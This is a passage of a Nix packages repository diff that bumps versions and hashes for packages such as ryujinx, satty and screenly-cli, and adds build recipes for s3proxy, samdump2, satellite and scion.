source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +checksum = "a953cb265bef375dae3de6663da4d3804eee9682ea80d8e2542529b73c531c81" dependencies = [ "proc-macro2", "quote", @@ -785,9 +785,9 @@ dependencies = [ [[package]] name = "toml_edit" -version = "0.22.4" +version = "0.22.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c9ffdf896f8daaabf9b66ba8e77ea1ed5ed0f72821b398aba62352e95062951" +checksum = "2c1b5fd4128cc8d3e0cb74d4ed9a9cc7c7284becd4df68f5f940e1ad123606f6" dependencies = [ "indexmap", "serde", @@ -1059,9 +1059,9 @@ checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" [[package]] name = "winnow" -version = "0.5.39" +version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5389a154b01683d28c77f8f68f49dea75f0a4da32557a58f68ee51ebba472d29" +checksum = "d90f4e0f530c4c69f62b80d839e9ef3855edc9cba471a160c4d692deed62b401" dependencies = [ "memchr", ] diff --git a/pkgs/by-name/rw/rwpspread/package.nix b/pkgs/by-name/rw/rwpspread/package.nix index aa7a7ba41914f..040404404ea83 100644 --- a/pkgs/by-name/rw/rwpspread/package.nix +++ b/pkgs/by-name/rw/rwpspread/package.nix @@ -8,13 +8,13 @@ rustPlatform.buildRustPackage rec { pname = "rwpspread"; - version = "0.1.9"; + version = "0.2.1"; src = fetchFromGitHub { owner = "0xk1f0"; repo = "rwpspread"; rev = "v${version}"; - hash = "sha256-oZgHMklHMKUpVY3g7wS2rna+5+ePEbcvdVJc9jPTeoI="; + hash = "sha256-I9zZtk+Byn2DBMvhRVUBJ5O8fzzy1uSTniMUDXi07ho="; }; cargoLock = { diff --git a/pkgs/applications/emulators/ryujinx/deps.nix b/pkgs/by-name/ry/ryujinx/deps.nix index badf22fe833c0..e6af72142fbb6 100644 --- a/pkgs/applications/emulators/ryujinx/deps.nix +++ b/pkgs/by-name/ry/ryujinx/deps.nix @@ -8,7 +8,6 @@ (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.4"; sha256 = "1sqdcaknqazq4mw2x1jb6pfmfnyhpkd4xh6fl4ld85qikzzj7796"; }) (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.7"; sha256 = "1386lhzkc5mal70imw3vxfkbz7z94njylg662ymr2m3hhwz34w3l"; }) (fetchNuGet { pname = "Avalonia.Controls.DataGrid"; version = "11.0.7"; sha256 = "080w1k4mia6kkl9lw5hl03n75xrkd2rlh5901jrpk11jyy36w00s"; }) - (fetchNuGet { pname = "Avalonia.Controls.ItemsRepeater"; version = "11.0.0-rc2.1"; sha256 = "0pmc0fi2abn9qaqwx9lvqnd1a5a8lzp8zin72d3k3xjsh1w1g0n8"; }) (fetchNuGet { pname = "Avalonia.Controls.ItemsRepeater"; version = "11.0.4"; sha256 = "1p7mz33a6dn6ghvwajxdghq15mn5f6isvvqzxcjbnhh3m5c1zhrz"; }) (fetchNuGet { pname = "Avalonia.Desktop"; version = "11.0.7"; sha256 = "0z5jypzqxh83r1pzvl1k7x1wxhnr3f0knp4wr0fkcgj97k2bnjy1"; }) (fetchNuGet { pname = "Avalonia.Diagnostics"; version = "11.0.7"; sha256 = "1n9bdmbc9m0r7x7iqkin4b8c6pdf19lbsvl258ncymhln6j8y0xw"; }) @@ -43,7 +42,6 @@ (fetchNuGet { pname = "HarfBuzzSharp.NativeAssets.WebAssembly"; version = "7.3.0"; sha256 = "0dcmclnyryb82wzsky1dn0gbjsvx84mfx46v984f5fmg4v238lpm"; }) (fetchNuGet { pname = "HarfBuzzSharp.NativeAssets.Win32"; version = "2.8.2.3"; sha256 = "08khd2jqm8sw58ljz5srangzfm2sz3gd2q1jzc5fr80lj8rv6r74"; }) (fetchNuGet { pname = "HarfBuzzSharp.NativeAssets.Win32"; version = "7.3.0"; sha256 = "1hyvmz7rfbrxbcpnwyvb64gdk1hifcpz3rln58yyb7g1pnbpnw2s"; }) - (fetchNuGet { pname = "jp2masa.Avalonia.Flexbox"; version = "0.3.0-beta.4"; sha256 = "17847ssn15l755zmspvb69wsfbj9ayvy9xl8zgjx6wvvwp6x89cp"; }) (fetchNuGet { pname = "LibHac"; version = "0.19.0"; sha256 = "06fyfqxi92mz55adzkk2y56spvf0217icnri2s1gcpyvc5w2cc8l"; }) (fetchNuGet { pname = "MicroCom.CodeGenerator.MSBuild"; version = "0.11.0"; sha256 = "0ynvaq3faqh4pirl0l8l6xq2ikk3f27xw05i8vm3vwamgy4p7k2f"; }) (fetchNuGet { pname = "MicroCom.Runtime"; version = "0.11.0"; sha256 = "0p9c3m0zk59x9dcqw077hzd2yk60myisbacvm36mnwpcjwzjkp2m"; }) @@ -55,7 +53,7 @@ (fetchNuGet { pname = "Microsoft.CodeAnalysis.CSharp"; version = "4.8.0"; sha256 = "0idaksbib90zgi8xlycmdzk77dlxichspp23wpnfrzfxkdfafqrj"; }) (fetchNuGet { pname = "Microsoft.CodeAnalysis.CSharp.Scripting"; version = "3.8.0"; sha256 = "0w0yx0lpg54iw5jazqk46h48gx43ij32gwac8iywdj6kxfxm03vw"; }) (fetchNuGet { pname = "Microsoft.CodeAnalysis.Scripting.Common"; version = "3.8.0"; sha256 = "0hjgxcsj5zy27lqk0986m59n5dbplx2vjjla2lsvg4bwg8qa7bpk"; }) - (fetchNuGet { pname = "Microsoft.CodeCoverage"; version = "17.8.0"; sha256 = "173wjadp3gan4x2jfjchngnc4ca4mb95h1sbb28jydfkfw0z1zvj"; }) + (fetchNuGet { pname = "Microsoft.CodeCoverage"; version = "17.9.0"; sha256 = "1gljgi69k0fz8vy8bn6xlyxabj6q4vls2zza9wz7ng6ix3irm89r"; }) (fetchNuGet { pname = "Microsoft.CSharp"; version = "4.3.0"; sha256 = "0gw297dgkh0al1zxvgvncqs0j15lsna9l1wpqas4rflmys440xvb"; }) (fetchNuGet { pname = "Microsoft.CSharp"; version = "4.7.0"; sha256 = "0gd67zlw554j098kabg887b5a6pq9kzavpa3jjy5w53ccjzjfy8j"; }) (fetchNuGet { pname = "Microsoft.DotNet.PlatformAbstractions"; version = "3.1.6"; sha256 = "0b9myd7gqbpaw9pkd2bx45jhik9mwj0f1ss57sk2cxmag2lkdws5"; }) @@ -65,15 +63,15 @@ (fetchNuGet { pname = "Microsoft.IdentityModel.Logging"; version = "7.3.0"; sha256 = "1b24pf0ippwbdjc3k1wzr13lr1zqlcbymi2hpvfmxmk4i6vzn4mv"; }) (fetchNuGet { pname = "Microsoft.IdentityModel.Tokens"; version = "7.3.0"; sha256 = "1qdcqcnczaqfd0cii3bcymbc7rvkypm25idxgx7hfc81h9ysh79h"; }) (fetchNuGet { pname = "Microsoft.IO.RecyclableMemoryStream"; version = "3.0.0"; sha256 = "1zl39k27r4zq75r1x1zr1yl4nzxpkxdnnv6dwd4qp0xr22my85aq"; }) - (fetchNuGet { pname = "Microsoft.NET.Test.Sdk"; version = "17.8.0"; sha256 = "1syvl3g0hbrcgfi9rq6pld8s8hqqww4dflf1lxn59ccddyyx0gmv"; }) + (fetchNuGet { pname = "Microsoft.NET.Test.Sdk"; version = "17.9.0"; sha256 = "1lls1fly2gr1n9n1xyl9k33l2v4pwfmylyzkq8v4v5ldnwkl1zdb"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "1.0.1"; sha256 = "01al6cfxp68dscl15z7rxfw9zvhm64dncsw09a1vmdkacsa2v6lr"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "1.1.0"; sha256 = "08vh1r12g6ykjygq5d3vq09zylgb84l63k49jc4v8faw9g93iqqm"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "2.0.0"; sha256 = "1fk2fk2639i7nzy58m9dvpdnzql4vb8yl8vr19r2fp8lmj9w2jr0"; }) (fetchNuGet { pname = "Microsoft.NETCore.Platforms"; version = "2.1.2"; sha256 = "1507hnpr9my3z4w1r6xk5n0s1j3y6a2c2cnynj76za7cphxi1141"; }) (fetchNuGet { pname = "Microsoft.NETCore.Targets"; version = "1.0.1"; sha256 = "0ppdkwy6s9p7x9jix3v4402wb171cdiibq7js7i13nxpdky7074p"; }) (fetchNuGet { pname = "Microsoft.NETCore.Targets"; version = "1.1.0"; sha256 = "193xwf33fbm0ni3idxzbr5fdq3i2dlfgihsac9jj7whj0gd902nh"; }) - (fetchNuGet { pname = "Microsoft.TestPlatform.ObjectModel"; version = "17.8.0"; sha256 = "0b0i7lmkrcfvim8i3l93gwqvkhhhfzd53fqfnygdqvkg6np0cg7m"; }) - (fetchNuGet { pname = "Microsoft.TestPlatform.TestHost"; version = "17.8.0"; sha256 = "0f5jah93kjkvxwmhwb78lw11m9pkkq9fvf135hpymmmpxqbdh97q"; }) + (fetchNuGet { pname = "Microsoft.TestPlatform.ObjectModel"; version = "17.9.0"; sha256 = "1kgsl9w9fganbm9wvlkqgk0ag9hfi58z88rkfybc6kvg78bx89ca"; }) + (fetchNuGet { pname = "Microsoft.TestPlatform.TestHost"; version = "17.9.0"; sha256 = "19ffh31a1jxzn8j69m1vnk5hyfz3dbxmflq77b8x82zybiilh5nl"; }) (fetchNuGet { pname = "Microsoft.Win32.Primitives"; version = "4.0.1"; sha256 = "1n8ap0cmljbqskxpf8fjzn7kh1vvlndsa75k01qig26mbw97k2q7"; }) (fetchNuGet { pname = "Microsoft.Win32.Registry"; version = "4.5.0"; sha256 = "1zapbz161ji8h82xiajgriq6zgzmb1f3ar517p2h63plhsq5gh2q"; }) (fetchNuGet { pname = "Microsoft.Win32.SystemEvents"; version = "8.0.0"; sha256 = "05392f41ijgn17y8pbjcx535l1k09krnq3xdp60kyq568sn6xk2i"; }) @@ -83,7 +81,6 @@ (fetchNuGet { pname = "NETStandard.Library"; version = "2.0.0"; sha256 = "1bc4ba8ahgk15m8k4nd7x406nhi0kwqzbgjk2dmw52ss553xz7iy"; }) (fetchNuGet { pname = "NETStandard.Library"; version = "2.0.3"; sha256 = "1fn9fxppfcg4jgypp2pmrpr6awl3qz1xmnri0cygpkwvyx27df1y"; }) (fetchNuGet { pname = "Newtonsoft.Json"; version = "13.0.1"; sha256 = "0fijg0w6iwap8gvzyjnndds0q4b8anwxxvik7y8vgq97dram4srb"; }) - (fetchNuGet { pname = "NuGet.Frameworks"; version = "6.5.0"; sha256 = "0s37d1p4md0k6d4cy6sq36f2dgkd9qfbzapxhkvi8awwh0vrynhj"; }) (fetchNuGet { pname = "NUnit"; version = "3.13.3"; sha256 = "0wdzfkygqnr73s6lpxg5b1pwaqz9f414fxpvpdmf72bvh4jaqzv6"; }) (fetchNuGet { pname = "NUnit3TestAdapter"; version = "4.1.0"; sha256 = "1z5g15npmsjszhfmkrdmp4ds7jpxzhxblss2rjl5mfn5sihy4cww"; }) (fetchNuGet { pname = "OpenTK.Audio.OpenAL"; version = "4.8.2"; sha256 = "1r89s76nq5v4pc1p77avq3vdp2k9n0byf7clcdwc0d0k6s4r34lb"; }) @@ -139,11 +136,11 @@ (fetchNuGet { pname = "Ryujinx.GdkSharp"; version = "3.24.24.59-ryujinx"; sha256 = "1fqilm4fzddq88y2g5jx811wcjbzjd6bk5n7cxvy4c71iknhlmdg"; }) (fetchNuGet { pname = "Ryujinx.GioSharp"; version = "3.24.24.59-ryujinx"; sha256 = "1m8s91zvx8drynsar75xi1nm8c4jyvrq406qadf0p8clbsgxvdxi"; }) (fetchNuGet { pname = "Ryujinx.GLibSharp"; version = "3.24.24.59-ryujinx"; sha256 = "0samifm14g1960z87hzxmqb8bzp0vckaja7gn5fy8akgh03z96yd"; }) - (fetchNuGet { pname = "Ryujinx.Graphics.Nvdec.Dependencies"; version = "5.0.1-build13"; sha256 = "1hjr1604s8xyq4r8hh2l7xqwsfalvi65vnr74v8i9hffz15cq8zp"; }) + (fetchNuGet { pname = "Ryujinx.Graphics.Nvdec.Dependencies"; version = "5.0.3-build14"; sha256 = "0559wbj59b81hc89g0s360x6j556is1swj9hcnm8z0d0anvgxxzr"; }) (fetchNuGet { pname = "Ryujinx.Graphics.Vulkan.Dependencies.MoltenVK"; version = "1.2.0"; sha256 = "1qkas5b6k022r57acpc4h981ddmzz9rwjbgbxbphrjd8h7lz1l5x"; }) (fetchNuGet { pname = "Ryujinx.GtkSharp"; version = "3.24.24.59-ryujinx"; sha256 = "0dri508x5kca2wk0mpgwg6fxj4n5n3kplapwdmlcpfcbwbmrrnyr"; }) (fetchNuGet { pname = "Ryujinx.PangoSharp"; version = "3.24.24.59-ryujinx"; sha256 = "1bdxm5k54zs0h6n2dh20j5jlyn0yml9r8qr828ql0k8zl7yhlq40"; }) - (fetchNuGet { pname = "Ryujinx.SDL2-CS"; version = "2.28.1-build28"; sha256 = "0kn7f6cgvb2rsybiif6g7xkw1srmfr306zpv029lvi264dv6aj6l"; }) + (fetchNuGet { pname = "Ryujinx.SDL2-CS"; version = "2.30.0-build32"; sha256 = "18alxq2ydnkwjv1rdfnssrs80l5pkmfjyjg8kjkwnp99ml7fbfia"; }) (fetchNuGet { pname = "securifybv.PropertyStore"; version = "0.1.0"; sha256 = "1s7bga6989jdpz4mk4kf1ysgq13pwjmk21xf4rh4kj4b9psd6cwd"; }) (fetchNuGet { pname = "securifybv.ShellLink"; version = "0.1.0"; sha256 = "1v52d01590m8y06bybis6hlg296wk3y7ilqyh01ram62v5wrjvq2"; }) (fetchNuGet { pname = "shaderc.net"; version = "0.1.0"; sha256 = "0f35s9h0vj9f1rx9bssj66hibc3j9bzrb4wgb5q2jwkf5xncxbpq"; }) @@ -170,7 +167,7 @@ (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.3"; sha256 = "03wwfbarsxjnk70qhqyd1dw65098dncqk2m0vksx92j70i7lry6q"; }) (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.6"; sha256 = "1w2mwcwkqvrg4x4ybc4674xnkqwh1n2ihg520gqgpnqfc11ghc4n"; }) (fetchNuGet { pname = "SkiaSharp.NativeAssets.Win32"; version = "2.88.7"; sha256 = "119mlbh5hmlis7vb111s95dwg5p1anm2hmv7cm6fz7gy18473d7v"; }) - (fetchNuGet { pname = "SPB"; version = "0.0.4-build28"; sha256 = "1ran6qwzlkv6xpvnp7n0nkva0zfrzwlcxj7zfzz9v8mpicqs297x"; }) + (fetchNuGet { pname = "SPB"; version = "0.0.4-build32"; sha256 = "0fk803f4llcc7g111g7wdn6fwqjrlyr64p97lv9xannbk9bxnk0r"; }) (fetchNuGet { pname = "Svg.Custom"; version = "1.0.0.13"; sha256 = "040w8xqjfyda8742387y0jq1bgs3m57id7qdgiwchv4860v7s97s"; }) (fetchNuGet { pname = "Svg.Model"; version = "1.0.0.13"; sha256 = "06ppak6gxyiq716zjf919zanl7kb2jwg5d8rhxf9f6fnyd5mjaiv"; }) (fetchNuGet { pname = "Svg.Skia"; version = "1.0.0.13"; sha256 = "0kr2hlrds1w38pilbq17jnc8xy37b7zis2m1sg6vqrsqp9blhlb7"; }) @@ -192,7 +189,7 @@ (fetchNuGet { pname = "System.Diagnostics.DiagnosticSource"; version = "4.0.0"; sha256 = "1n6c3fbz7v8d3pn77h4v5wvsfrfg7v1c57lg3nff3cjyh597v23m"; }) (fetchNuGet { pname = "System.Diagnostics.Tools"; version = "4.0.1"; sha256 = "19cknvg07yhakcvpxg3cxa0bwadplin6kyxd8mpjjpwnp56nl85x"; }) (fetchNuGet { pname = "System.Diagnostics.Tracing"; version = "4.1.0"; sha256 = "1d2r76v1x610x61ahfpigda89gd13qydz6vbwzhpqlyvq8jj6394"; }) - (fetchNuGet { pname = "System.Drawing.Common"; version = "8.0.1"; sha256 = "02l7y2j6f2qykl90iac28nvw1cnhic8vzixlq5fznw0zj72knz25"; }) + (fetchNuGet { pname = "System.Drawing.Common"; version = "8.0.2"; sha256 = "03rlk7wrx7469psz6f1qb8n5kb3s04ykzs2pn9ycia1sgj7vhi1z"; }) (fetchNuGet { pname = "System.Dynamic.Runtime"; version = "4.3.0"; sha256 = "1d951hrvrpndk7insiag80qxjbf2y0y39y8h5hnq9612ws661glk"; }) (fetchNuGet { pname = "System.Globalization"; version = "4.0.11"; sha256 = "070c5jbas2v7smm660zaf1gh0489xanjqymkvafcs4f8cdrs1d5d"; }) (fetchNuGet { pname = "System.Globalization"; version = "4.3.0"; sha256 = "1cp68vv683n6ic2zqh2s1fn4c2sd87g5hpp6l4d4nj4536jz98ki"; }) diff --git a/pkgs/applications/emulators/ryujinx/default.nix b/pkgs/by-name/ry/ryujinx/package.nix index 0dfbfd06ea07d..9628ab9c6f3a4 100644 --- a/pkgs/applications/emulators/ryujinx/default.nix +++ b/pkgs/by-name/ry/ryujinx/package.nix @@ -2,7 +2,6 @@ , buildDotnetModule , dotnetCorePackages , fetchFromGitHub -, wrapGAppsHook , libX11 , libgdiplus , ffmpeg @@ -10,8 +9,6 @@ , libsoundio , sndio , pulseaudio -, gtk3 -, gdk-pixbuf , vulkan-loader , libICE , libSM @@ -28,13 +25,13 @@ buildDotnetModule rec { pname = "ryujinx"; - version = "1.1.1155"; # Based off of the official github actions builds: https://github.com/Ryujinx/Ryujinx/actions/workflows/release.yml + version = "1.1.1217"; # Based off of the official github actions builds: https://github.com/Ryujinx/Ryujinx/actions/workflows/release.yml src = fetchFromGitHub { owner = "Ryujinx"; repo = "Ryujinx"; - rev = "d704bcd93b90c288e6e200378373403525b59220"; - sha256 = "0vf964rgr5jry8aszzbjm3jh7qd0d8b6rpzibb7b564awzy6kzda"; + rev = "bc4d99a0786dbcbfde62d3bdeb98ed3d12c94852"; + sha256 = "00qvwhl18f09lgs94b66kzxyf0pbhwdkcyrsc7vjyv5dl88f5120"; }; dotnet-sdk = dotnetCorePackages.sdk_8_0; @@ -42,17 +39,7 @@ buildDotnetModule rec { nugetDeps = ./deps.nix; - nativeBuildInputs = [ - wrapGAppsHook - ]; - - buildInputs = [ - gtk3 - gdk-pixbuf - ]; - runtimeDeps = [ - gtk3 libX11 libgdiplus SDL2_mixer @@ -88,13 +75,11 @@ buildDotnetModule rec { executables = [ "Ryujinx.Headless.SDL2" - "Ryujinx.Ava" "Ryujinx" ]; makeWrapperArgs = [ # Without this Ryujinx fails to start on wayland. See https://github.com/Ryujinx/Ryujinx/issues/2714 - "--set GDK_BACKEND x11" "--set SDL_VIDEODRIVER x11" ]; @@ -134,8 +119,8 @@ buildDotnetModule rec { 2017. ''; license = licenses.mit; - maintainers = with maintainers; [ ivar jk ]; - platforms = [ "x86_64-linux" ]; + maintainers = with maintainers; [ ivar jk artemist ]; + platforms = [ "x86_64-linux" "aarch64-linux" ]; mainProgram = "Ryujinx"; }; } diff --git a/pkgs/applications/emulators/ryujinx/updater.sh b/pkgs/by-name/ry/ryujinx/updater.sh index 3aae3943aa5a7..74b291640077e 100755 --- a/pkgs/applications/emulators/ryujinx/updater.sh +++ b/pkgs/by-name/ry/ryujinx/updater.sh @@ -54,7 +54,7 @@ if [ -z ${NEW_VERSION+x} ] && [ -z ${COMMIT+x} ]; then NEW_VERSION="${BASE_VERSION}.${PATCH_VERSION}" fi -OLD_VERSION="$(sed -nE 's/\s*version = "(.*)".*/\1/p' ./default.nix)" +OLD_VERSION="$(sed -nE 's/\s*version = "(.*)".*/\1/p' ./package.nix)" echo "comparing versions $OLD_VERSION -> $NEW_VERSION" if [[ "$OLD_VERSION" == "$NEW_VERSION" ]]; then diff --git a/pkgs/by-name/s3/s3proxy/package.nix b/pkgs/by-name/s3/s3proxy/package.nix new file mode 100644 index 0000000000000..91f39747774b5 --- /dev/null +++ b/pkgs/by-name/s3/s3proxy/package.nix @@ -0,0 +1,40 @@ +{ lib +, fetchFromGitHub +, jre +, makeWrapper +, maven +}: + +let + pname = "s3proxy"; + version = "2.1.0"; +in +maven.buildMavenPackage { + inherit pname version; + mvnHash = "sha256-85mE/pZ0DXkzOKvTAqBXGatAt8gc4VPRCxmEyIlyVGI="; + + src = fetchFromGitHub { + owner = "gaul"; + repo = pname; + rev = "s3proxy-${version}"; + hash = "sha256-GhZPvo8wlXInHwg8rSmpwMMkZVw5SMpnZyKqFUYLbrE="; + }; + + nativeBuildInputs = [ makeWrapper ]; + + installPhase = '' + install -D --mode=644 --target-directory=$out/share/s3proxy target/s3proxy-${version}-jar-with-dependencies.jar + + makeWrapper ${jre}/bin/java $out/bin/s3proxy \ + --add-flags "-jar $out/share/s3proxy/s3proxy-${version}-jar-with-dependencies.jar" + ''; + + meta = with lib; { + description = "Access other storage backends via the S3 API"; + homepage = "https://github.com/gaul/s3proxy"; + changelog = "https://github.com/gaul/s3proxy/releases/tag/s3proxy-${version}"; + license = licenses.asl20; + maintainers = with maintainers; [ camelpunch ]; + }; +} + diff --git a/pkgs/by-name/sa/samdump2/package.nix b/pkgs/by-name/sa/samdump2/package.nix new file mode 100644 index 0000000000000..a1a045af7664f --- /dev/null +++ b/pkgs/by-name/sa/samdump2/package.nix @@ -0,0 +1,70 @@ +{ lib +, stdenv +, fetchurl +, fetchpatch +, openssl +, pkg-config +, which +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "samdump2"; + version = "3.0.0"; + + src = fetchurl { + url = "mirror://sourceforge/project/ophcrack/samdump2/${finalAttrs.version}/samdump2-${finalAttrs.version}.tar.bz2"; + hash = "sha256-YCZZrzDFZXUPoBZQ4KIj0mNVtd+Y8vvDDjpsWT7U5SY="; + }; + + nativeBuildInputs = [ pkg-config which ]; + buildInputs = [ + openssl + ]; + + patches = [ + (fetchpatch { + # fixes a FTBFS linker bug + url = "https://salsa.debian.org/pkg-security-team/samdump2/-/raw/b4c9f14f5a1925106e7c62c9967d430c1104df0c/debian/patches/10_ftbfs_link.patch"; + hash = "sha256-TGzxi44dDAispG+rK/kYYMzKjt10p+ZyfVDWKG+Gw/s="; + }) + (fetchpatch { + # the makefile overrides flags so you can't set them via d/rules or the environment + url = "https://salsa.debian.org/pkg-security-team/samdump2/-/raw/b4c9f14f5a1925106e7c62c9967d430c1104df0c/debian/patches/20_compiler_flags.patch"; + hash = "sha256-VdDiNAQhlauAB4Ws/pvWMJY2rMKr3qhyVGX2GoxaagI="; + }) + (fetchpatch { + # the makefile has a infos dep, but no target + url = "https://salsa.debian.org/pkg-security-team/samdump2/-/raw/b4c9f14f5a1925106e7c62c9967d430c1104df0c/debian/patches/30_install_infos.patch"; + hash = "sha256-Y7kdU+ywUYFm2VySGFa0QE1OvzoTa0eFSWp0VFmY5iM="; + }) + (fetchpatch { + # change the formatting in the manpage to make it more readable + url = "https://salsa.debian.org/pkg-security-team/samdump2/-/raw/b4c9f14f5a1925106e7c62c9967d430c1104df0c/debian/patches/40_manpage_formatting.patch"; + hash = "sha256-L4BjtiGk91nTKZdr0SXbaxkD2mzmkU3UJlc4TZfXS4Y="; + }) + (fetchpatch { + # fix a FTBFS with OpenSSL 1.1.0. (Closes: #828537) + url = "https://salsa.debian.org/pkg-security-team/samdump2/-/raw/b4c9f14f5a1925106e7c62c9967d430c1104df0c/debian/patches/50_openssl.patch"; + hash = "sha256-pdLOSt7kX9uPg4wDVstxh3NC/DboQCP+5/wCjuJmruY="; + }) + ]; + + postPatch = '' + substituteInPlace Makefile \ + --replace " -o root -g root" "" + ''; + + makeFlags = [ + "PREFIX=$(out)" + "CC=cc" + ]; + + meta = with lib; { + description = "Dump password hashes from a Windows NT/2k/XP installation"; + mainProgram = "samdump2"; + homepage = "https://sourceforge.net/projects/ophcrack/files/samdump2"; + license = licenses.gpl2Plus; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + }; +}) diff --git a/pkgs/by-name/sa/satellite/package.nix b/pkgs/by-name/sa/satellite/package.nix new file mode 100644 index 0000000000000..e1ab6b934c3be --- /dev/null +++ b/pkgs/by-name/sa/satellite/package.nix @@ -0,0 +1,57 @@ +{ lib +, python3 +, fetchFromGitea +, gobject-introspection +, gtk3 +, libhandy +, modemmanager +, wrapGAppsHook +}: + +python3.pkgs.buildPythonApplication rec { + pname = "satellite"; + version = "0.4.2"; + + pyproject = true; + + src = fetchFromGitea { + domain ="codeberg.org"; + owner = "tpikonen"; + repo = "satellite"; + rev = version; + hash = "sha256-VPljvbHsPpBvH//LFs1P0YiyMfQxTLHrrxqnVk261hg="; + }; + + nativeBuildInputs = [ + gobject-introspection + python3.pkgs.setuptools + wrapGAppsHook + ]; + + buildInputs = [ + gtk3 + libhandy + modemmanager + ]; + + propagatedBuildInputs = with python3.pkgs; [ + gpxpy + pygobject3 + pynmea2 + ]; + + strictDeps = true; + + meta = with lib; { + description = "A program for showing navigation satellite data"; + longDescription = '' + Satellite is an adaptive GTK3 / libhandy application which displays global navigation satellite system (GNSS: GPS et al.) data obtained from ModemManager or gnss-share. + It can also save your position to a GPX-file. + ''; + homepage = "https://codeberg.org/tpikonen/satellite"; + license = licenses.gpl3Only; + mainProgram = "satellite"; + platforms = platforms.linux; + maintainers = with maintainers; [ Luflosi ]; + }; +} diff --git a/pkgs/by-name/sa/satty/package.nix b/pkgs/by-name/sa/satty/package.nix index 98f5d92d7ee5a..bcb3e37433df5 100644 --- a/pkgs/by-name/sa/satty/package.nix +++ b/pkgs/by-name/sa/satty/package.nix @@ -16,16 +16,16 @@ rustPlatform.buildRustPackage rec { pname = "satty"; - version = "0.9.0"; + version = "0.10.0"; src = fetchFromGitHub { owner = "gabm"; repo = "Satty"; rev = "v${version}"; - hash = "sha256-640npBvOO4SZfQI5Tq1FY+B7Bg75YsaoGd/XhWAy9Zs="; + hash = "sha256-aE0hQla/FwUAUSVodfQz3s8hdYF6tQSIHl6p5gEtONU="; }; - cargoHash = "sha256-H+PnZWNaxdNaPLZmKJIcnEBTnpeXCxGC9cXnzR2hfoc="; + cargoHash = "sha256-vARrc49+T813uCzIlB1tSS3eNyNeeCvC+G+LFYAsYx8="; nativeBuildInputs = [ copyDesktopItems diff --git a/pkgs/by-name/sc/scion/package.nix b/pkgs/by-name/sc/scion/package.nix new file mode 100644 index 0000000000000..100fe1746c70d --- /dev/null +++ b/pkgs/by-name/sc/scion/package.nix @@ -0,0 +1,53 @@ +{ lib +, buildGoModule +, fetchFromGitHub +}: +let + version = "0.10.0"; + + # Injects a `t.Skip()` into a given test since there's apparently no other way to skip tests here. + # ref: https://github.com/NixOS/nixpkgs/blob/047bc33866bf7004d0ce9ed0af78dab5ceddaab0/pkgs/by-name/vi/vikunja/package.nix#L96 + skipTest = lineOffset: testCase: file: + let + jumpAndAppend = lib.concatStringsSep ";" (lib.replicate (lineOffset - 1) "n" ++ [ "a" ]); + in + '' + sed -i -e '/${testCase}/{ + ${jumpAndAppend} t.Skip(); + }' ${file} + ''; +in + +buildGoModule { + pname = "scion"; + + inherit version; + + src = fetchFromGitHub { + owner = "scionproto"; + repo = "scion"; + rev = "v${version}"; + hash = "sha256-8yXjEDo1k0+7O0gx2acAZMrG/r+iePfNCG+FolCSKwI="; + }; + + vendorHash = "sha256-4nTp6vOyS7qDn8HmNO0NGCNU7wCb8ww8a15Yv3MPEq8="; + + excludedPackages = [ "acceptance" "demo" "tools" "pkg/private/xtest/graphupdater" ]; + + # This can be removed in the next release of scion since its fixed upstream + # https://github.com/scionproto/scion/pull/4476 + postConfigure = '' + # This test needs docker, so lets skip it + ${skipTest 1 "TestOpensslCompatible" "scion-pki/trcs/sign_test.go"} + ''; + + doCheck = true; + + meta = with lib; { + description = "A future Internet architecture utilizing path-aware networking"; + homepage = "https://scion-architecture.net/"; + platforms = platforms.unix; + license = licenses.asl20; + maintainers = with maintainers; [ sarcasticadmin matthewcroughan ]; + }; +} diff --git a/pkgs/by-name/sc/scitokens-cpp/package.nix b/pkgs/by-name/sc/scitokens-cpp/package.nix index 691e89fa2b80a..56cc5ba18bb8d 100644 --- a/pkgs/by-name/sc/scitokens-cpp/package.nix +++ b/pkgs/by-name/sc/scitokens-cpp/package.nix @@ -2,14 +2,14 @@ stdenv.mkDerivation rec { pname = "scitokens-cpp"; - version = "1.1.0"; + version = "1.1.1"; src = fetchFromGitHub { owner = "scitokens"; repo = "scitokens-cpp"; - rev = "v1.1.0"; - hash = "sha256-g97Ah5Oob0iOvMQegpG/AACLZCW37kA0RpSIcKOyQnE="; + rev = "v1.1.1"; + hash = "sha256-G3z9DYYWCNeA/rufNHQP3SwT5WS2AvUWm1rd8lx6XxA="; }; nativeBuildInputs = [ cmake pkg-config ]; diff --git a/pkgs/by-name/sc/screenly-cli/package.nix b/pkgs/by-name/sc/screenly-cli/package.nix index 4113e3c57f4c7..3c18ef4f809c2 100644 --- a/pkgs/by-name/sc/screenly-cli/package.nix +++ b/pkgs/by-name/sc/screenly-cli/package.nix @@ -1,5 +1,4 @@ { darwin -, fetchpatch , fetchFromGitHub , lib , perl @@ -7,31 +6,21 @@ , openssl , rustPlatform , stdenv +, nix-update-script }: rustPlatform.buildRustPackage rec { pname = "screenly-cli"; - version = "0.2.3"; + version = "0.2.4"; src = fetchFromGitHub { owner = "screenly"; repo = "cli"; rev = "refs/tags/v${version}"; - hash = "sha256-rQK1EYb1xYtcxq0Oj4eY9PCFMoaYinr42W8NkG36ps0="; + hash = "sha256-DSeI7ddsdsb+DLVPRyqpvz6WIRFBBaWjYJHlFpN8SrY="; }; - cargoPatches = [ - # This patch introduces the Cargo.lock file, which was previously missing from the repository. - # This can be removed at the next release of the Screenly CLI. The patch was introduced in - # this PR: https://github.com/Screenly/cli/pull/139. - (fetchpatch { - url = "https://github.com/Screenly/cli/commit/898bd2e5e3a9653e3c3dde17e951469885734c40.patch"; - hash = "sha256-Cqc1PHRhgS3zK19bSqpU2v+R3jSlOY6oaLJXpUy6+50="; - 